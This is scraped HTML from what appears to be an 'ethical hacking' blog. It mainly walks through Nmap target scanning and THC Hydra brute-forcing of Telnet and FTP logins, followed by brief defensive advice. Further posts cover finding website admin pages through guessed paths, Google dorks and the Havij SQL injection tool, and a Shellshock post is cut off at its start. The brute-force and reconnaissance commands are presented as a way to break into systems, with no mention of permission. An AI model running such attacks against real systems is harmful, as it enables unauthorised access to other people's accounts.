<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKv652EmRKD1jeFKDoJTO6ovnYr07oTXkj1FmJ0ZjkzmxWLaWC-1Myue1VEQJcpJ5z1DECUrB_ejlPjXQ74IVjdoHvkUZNpMIF-UXGUBHXuUAe52s4rSt7JLYiVlUKek-jE-61vlFZvF4l/s1600/thc1.png" imageanchor="1" style="border-bottom-style: none; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; color: blue; margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black; font-family: Times, 'Times New Roman', serif; font-size: medium;"><img border="0" height="229" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKv652EmRKD1jeFKDoJTO6ovnYr07oTXkj1FmJ0ZjkzmxWLaWC-1Myue1VEQJcpJ5z1DECUrB_ejlPjXQ74IVjdoHvkUZNpMIF-UXGUBHXuUAe52s4rSt7JLYiVlUKek-jE-61vlFZvF4l/s320/thc1.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 4px; border-color: initial; border-image: initial; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 4px; border-right-color: rgb(221, 221, 221); border-right-style: solid; border-right-width: 4px; border-top-color: rgb(221, 221, 221); border-top-style: solid; border-top-width: 4px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="320" /></span></a></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: center;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><b>Figure 2:</b> Running Hydra For First Time</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Now we need to select the target computer. At this moment we can use Nmap for scanning IP and open ports. So download the Nmap in your system. Windows users should download windows version. After downloading Nmap, scan for IP range. Also check for open ports in these IP addresses.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">How to Use Nmap?<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Use of Nmap is really simple. If you do not know, I am writing something in short which will help you.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Suppose I am in a network which has IP series of 192.168.0.x and I want to break into the telnet of a system in this network. I will use Nmap to find my target system.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">First of all, we will scan to check which systems are alive on the network. Use Nmap for simple ping and get the list of all systems alive on the network. Use this command:</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">nmap -sP 192.168.0.1-10<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">now see the results of this ping scan. You will get the list of ip addresses of all systems which are alive. These systems can be used as target so I will pick one from the list.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">I have chosen the system with ip address <b>192.168.0.7<o:p></o:p></b></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-size: medium;"><span style="font-family: Times, 'Times New Roman', serif;">Now we will check whether the TELNET port is open in the target computer or not. So use this command for simple port scan</span><span style="font-family: Times, 'Times New Roman', serif; line-height: 19.600000381469727px;">:</span></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">nmap -sS -sV -P 0 -T5 -O 192.168.0.7<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">This command will show all running service on the target computer. If Telnet service is running on the target system, we are ready for the attack, otherwise we will have to select another computer for the attack.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">After selecting the target, we will start attack on it. After knowing that Telnet port is open we will use Hydra to attack on it.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">There are two things we need to have before the attack. Username list and a password list. Username list is being used in case we do not know the username. Password list will be the possible list of passwords which will be used by hydra for brute forcing.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><b>Case 1: </b>Suppose we know the username. Let us assume that the username for the target telnet is <b>admin.<o:p></o:p></b></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Now we will use the command to run the attack.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: center;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">hydra -l admin -P passlist.txt 192.168.0.7 telnet<o:p></o:p></span></b></div>
<div class="separator" style="background-color: white; clear: both; line-height: 19.600000381469727px; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKS5nczCYTOCrb4Xz_iYGw9rw9HWTGSGp2kiyf8N7D0X2rQJ0TrSdvDD68qsJhkk_8ExPWaXjhzLSpS35q_gy3dJcJCoUsYCJz7-AqA7tZ2Lno2VMGFF9OSgxuiB12_aQmG8aZRoh2zLi3/s1600/thc1.png" imageanchor="1" style="border-bottom-style: none; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; color: blue; margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black; font-family: Times, 'Times New Roman', serif; font-size: medium;"><img border="0" height="229" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKS5nczCYTOCrb4Xz_iYGw9rw9HWTGSGp2kiyf8N7D0X2rQJ0TrSdvDD68qsJhkk_8ExPWaXjhzLSpS35q_gy3dJcJCoUsYCJz7-AqA7tZ2Lno2VMGFF9OSgxuiB12_aQmG8aZRoh2zLi3/s320/thc1.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 4px; border-color: initial; border-image: initial; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 4px; border-right-color: rgb(221, 221, 221); border-right-style: solid; border-right-width: 4px; border-top-color: rgb(221, 221, 221); border-top-style: solid; border-top-width: 4px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="320" /></span></a></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: center;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Figure 3: attacking on Telnet of target system with username Admin<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Here passlist.txt is the list of possible passwords. Hydra will use each password for the selected username and will try to login. If a password from the list is matched, it will stop the scanning and show the username and <span style="position: static;"><span class="kLink" style="background-color: transparent; background-image: none; border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none !important; border-left-width: 0px !important; border-right-style: none !important; border-right-width: 0px !important; border-top-style: none !important; border-top-width: 0px !important; display: inline !important; float: none !important; padding-bottom: 1px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static; width: auto !important;">password </span><span class="kLink" style="background-color: transparent; background-image: none; border-bottom-style: solid; border-bottom-width: 1px; border-left-style: none !important; border-left-width: 0px !important; border-right-style: none !important; border-right-width: 0px !important; border-top-style: none !important; border-top-width: 0px !important; display: inline !important; float: none !important; padding-bottom: 1px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static; width: auto !important;">combination</span></span> for the target telnet.</span></div>
<div class="separator" style="background-color: white; clear: both; line-height: 19.600000381469727px; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0M0fVyzzQaDB7neA42GVlDZy-JNGImgQHbndxZvPiNPxUXNRopKZdqGRYPrP2FISQjaq4pL3hD3y7R06-evKeFtaOguU3jPEHjHW6FFfQLpfrZjVTDOTxVUwu7IhOk3A5P2crzcXru_C9/s1600/thc1.png" imageanchor="1" style="border-bottom-style: none; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; color: blue; margin-left: 1em; margin-right: 1em; text-decoration: none;"><span style="color: black; font-family: Times, 'Times New Roman', serif; font-size: medium;"><img border="0" height="26" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0M0fVyzzQaDB7neA42GVlDZy-JNGImgQHbndxZvPiNPxUXNRopKZdqGRYPrP2FISQjaq4pL3hD3y7R06-evKeFtaOguU3jPEHjHW6FFfQLpfrZjVTDOTxVUwu7IhOk3A5P2crzcXru_C9/s320/thc1.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 4px; border-color: initial; border-image: initial; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 4px; border-right-color: rgb(221, 221, 221); border-right-style: solid; border-right-width: 4px; border-top-color: rgb(221, 221, 221); border-top-style: solid; border-top-width: 4px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="320" /></span></a></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: center;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Figure 4: Cracked password for the username admin<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">If no password from the passlist.txt matched with the username, it will simply stop scan.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">In case, you want to save the scan results into a file, you will have to change the command and add the name of the output file into command line argument.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">hydra -l admin -P passlist.txt -o test.txt 192.168.0.7 telnet<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">This command will save the result to the output file test.txt.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><b>Case 2: </b>In case you do not know the username, you can use the guess list of username along with the password list. Now we will use the command to run the attack.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: center;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">hydra -L username.txt -P passlist.txt 192.168.0.7 telnet<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Here username.txt is the guess list for possible usernames for the target admin and passlist.txt is the guess list for possible passwords.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">To save the result into a output file we will use the similar command as I have already written. The only difference is that we will pass username list here.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">hydra -L username.txt -P passlist.txt -o test.txt 192.168.0.7 telnet<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Here: One thing to Note that using username and password list change one thing in the command which is not noticeable for all users. When I have executed the command for a single username, I used <b>–l admin </b>but I use <b>-L username.txt </b>when I used a list. Here see the difference between <b>–L </b>and<b>-l. </b>When use a single username, use small case of l but use capital L when use username list.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">If you are on Ubuntu or any other linux based operating system, this tool will be more easy to use. This tool comes with a nice GUI for Linux based operating systems. So you will not need to learn hydra commands for them. Working is similar and commands are executed in background of GUI.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">This was the short demonstration of Telnet password cracking with the use of HYDRA network logon cracker.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">How to crack FTP password with THC Hydra:<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">In previous section, I wrote about cracking Telnet password with Hydra. As I already told that this is a network logon cracker and it supports many network protolcols. So it is used to cracked most of the network login. Cracking FTP password is also the same as cracking telnet password.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">You just need to find the target system with FTP port open. And then use hydra to crack password with password dictionary. If you are not sure about the username, you can use username dictionary along with password dictionary.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">Now we will use the command to run the attack.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: center;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">hydra -l admin -P passlist.txt 192.168.0.7 ftp<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">You can see that the command is similar. Only I have replaced the Telnet with ftp to tell Hydra that it has to attack on ftp port this time. You can change the target system IP accordingly. You can also use admin list as given below.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: center;">
<b><span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">hydra –L username.txt -P passlist.txt 192.168.0.7 ftp<o:p></o:p></span></b></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">All other things are similar. And you can replace this ftp to any other supported protocol.</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><b>How to protect against Hydra attack: </b>Protection against these kind of Buteforcing attack is divided into three parts</span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoListParagraphCxSpFirst" style="background-color: white; line-height: 19.600000381469727px; text-align: justify; text-indent: -0.25in;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">·         Always check your logs against suspicious activity. Log files will help to know more about the attacker.</span></div>
<div class="MsoListParagraphCxSpMiddle" style="background-color: white; line-height: 19.600000381469727px; text-align: justify; text-indent: -0.25in;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">·         Always use strong password with good length. Use both cases, number and a special characters.</span></div>
<div class="MsoListParagraphCxSpLast" style="background-color: white; line-height: 19.600000381469727px; text-align: justify; text-indent: -0.25in;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;">·         Always restrict few number of invalid login and then block the login from that IP.</span></div>
<div class="MsoListParagraphCxSpLast" style="background-color: white; line-height: 19.600000381469727px; text-align: justify; text-indent: -0.25in;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoListParagraphCxSpLast" style="background-color: white; line-height: 19.600000381469727px; text-align: justify; text-indent: -0.25in;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><br /></span></div>
<div class="MsoNormal" style="background-color: white; line-height: 19.600000381469727px; text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif; font-size: medium;"><b>Conclusion: </b>THC Hydra is really a nice and effective networ logon cracker. It is best among all available network logon cracker tools. It is also used dictionary based attack with multiple connection at a time which makes it faster. So always use strong password which is hard to crack. If you will use a strong password with use of capital and small letters, numbers and special characters. These kind of passwords are really hard to crack as it makes more number of permutations. You can also setup server restriction. In this, you can disallow login after 3 invalid login. This will block bruteforce attack.</span></div>
</div>
</div>
<span style="background-color: black; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 12px; text-align: -webkit-auto;">- See more at: http://hckr333-sh.blogspot.in/search?updated-max=2012-09-21T09:46:00%2B05:30&max-results=3#sthash.SzYObVA5.dpuf</span>
</div>

FTP and TELNET Password Cracking with THC Hydra

FTP and TELNET Password Cracking with THC Hydra Password is the only thing which protects secure information on the network syste...

Cobalt strike

CDRHINDI 0 Eathical hacking, Hacking, website hacking January 25, 2015

Cobalt strike

Cobalt strike What if you could easily host malicious websites, send phishing emails, and manage compromised hosts across diverse ...

How to find Admin Login Page of a Website ??

CDRHINDI 0 Eathical hacking, Hacking, website hacking January 25, 2015

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<h3 class="post-title entry-title" style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 22px; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0.75em; position: relative; text-align: -webkit-auto;">
How to find Admin Login Page of a Website ??</h3>
<div class="post-header" style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 11px; line-height: 1.6; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: -webkit-auto;">
<div class="post-header-line-1">
</div>
</div>
<div class="post-body entry-content" id="post-body-5979258890497345979" style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 1.4; position: relative; text-align: -webkit-auto; width: 2199px;">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
<span style="background-color: white;"><span style="font-family: Times, 'Times New Roman', serif;"></span><br /><span style="font-family: Times, 'Times New Roman', serif;"></span></span></div>
<div class="separator" style="clear: both; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb5C9OwnbpkQHNfNfPmL1EsRWSfXJQciqxmeTk1CE2XUneY96XH88qju0H376r4uNTfy4s30xc9Fxzptne7QB1NeguYNyWvP439FMjbKVbMvDTJrMA578kE3t1GpfJqJoxXH_xaANDV0s/s1600/loginyr1.jpg" imageanchor="1" style="clear: left; color: blue; float: left; margin-bottom: 1em; margin-right: 1em; text-decoration: none;"><span style="background-color: white;"><img border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhb5C9OwnbpkQHNfNfPmL1EsRWSfXJQciqxmeTk1CE2XUneY96XH88qju0H376r4uNTfy4s30xc9Fxzptne7QB1NeguYNyWvP439FMjbKVbMvDTJrMA578kE3t1GpfJqJoxXH_xaANDV0s/s320/loginyr1.jpg" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: rgb(229, 229, 229); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(229, 229, 229); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(229, 229, 229); border-top-style: solid; border-top-width: 1px; border-width: initial; box-shadow: rgba(0, 0, 0, 0.0976563) 1px 1px 5px; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; position: relative;" width="320" /></span></a></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">There are many ways to find admin page of a website but most of the users are failing to find it .</span></span></div>
<div style="text-align: justify;">
<span style="background-color: white;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">Here we are discussing some basic and advance effective ways to find the admin page of a website</span></span></div>
<div style="text-align: justify;">
<span style="background-color: white;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;"><b>1.       Adding URL</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;"> This is the first and easiest method to find admin login page. You can add some words after the URL. </span></span></div>
<ul style="text-align: justify;">
<li><span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">www.site.com/admin </span></span></li>
<li><span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">www.site.com/administrator </span></span></li>
<li><span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">www.site.com/login </span></span></li>
<li><span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">www.site.com/wp-login.php</span></span></li>
<li><span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">www.site.com/admin.php</span></span></li>
</ul>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;"><br /><br /><b>2.       Using various scripts</b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;"><b> </b>You can use various scripts like various admin finder to get the admin page.Here I am showing you an useful scripts which will help you to get the admin page. To run this script you first need to install Active Perl.get it from <a href="http://www.activestate.com/activeperl/downloads" style="color: blue; text-decoration: none;">http://www.activestate.com/activeperl/downloads</a></span></span></div>
<div style="text-align: justify;">
<span style="background-color: white;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;"> Now copy the code of <a href="http://pastebin.com/WWZszURW" style="color: blue; text-decoration: none;">http://pastebin.com/WWZszURW</a> and save it as anything.pl and run the script to get the login page of the desired site.<br /><br /><b>3.       Crawling software </b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">You can use various crawling tool to crawl the website and get the login page. These website crawl all the pages of the website and show the list of all pages and directories<br /><br /><b>4.       Robots.txt </b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">By default various search engines crawl the entire site and by using robots.txt the site owner actually gives the list of links that are not to be crawled by the engine.Now most of the time the admin ask the engine not to crawl the admin page so if you view the robots.txt you can get the link to the login page. </span></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">www.site.com/robots.txt<br /><br /><b>5.       Google dork </b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">You can use google dorks to get the login page.some of the dork that you can use are</span></span></div>
<ul style="text-align: justify;">
<li><span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">Site:site.com “admin” </span></span></li>
<li><span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">Site:site.com inurl:login </span></span></li>
<li><span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">site:site.com intitle:"admin login"</span></span></li>
</ul>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;"><br /><b>6.       Online </b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">There are few websites that can help you in finding admin login pages. You can use the site <a href="http://sc0rpion.ir/af/" style="color: blue; text-decoration: none;" target="_blank">http://sc0rpion.ir/af/ </a>to find login page online</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;"><br /><br /><b>7.       Havij </b></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Times, 'Times New Roman', serif;"><span style="background-color: white; font-size: medium;">At last you can use the all time popular Havij to find admin page. Havij is a popular SQL injection tool that has an option to scan and search for admin login pages.<br /><a href="http://www.itsecteam.com/products/havij-v116-advanced-sql-injection/" style="color: blue; text-decoration: none;">http://www.itsecteam.com/products/havij-v116-advanced-sql-injection/</a></span></span></div>
</div>
</div>
<span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 12px; text-align: -webkit-auto;">- See more at: http://hckr333-sh.blogspot.in/#sthash.tPCVv6F2.dpuf</span>
</div>

How to find Admin Login Page of a Website ??

How to find Admin Login Page of a Website ?? There are many ways to find admin page of a website but most of the users are fa...

Bash-Bug Penetration Testing - Anatomy of Shellshock

CDRHINDI 0 Eathical hacking, Pentesting, website hacking January 25, 2015

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<h3 class="post-title entry-title" itemprop="name" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 22px; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0.75em; position: relative; text-align: -webkit-auto;">
Bash-Bug Penetration Testing - Anatomy of Shellshock</h3>
<div class="post-header" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 11px; line-height: 1.6; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: -webkit-auto;">
<div class="post-header-line-1">
</div>
</div>
<div class="post-body entry-content" id="post-body-3326241513126996528" itemprop="description articleBody" style="background-color: white; color: #222222; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 1.4; position: relative; text-align: -webkit-auto; width: 760px;">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: Verdana, sans-serif;"><span style="font-size: x-small;"></span></span></div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
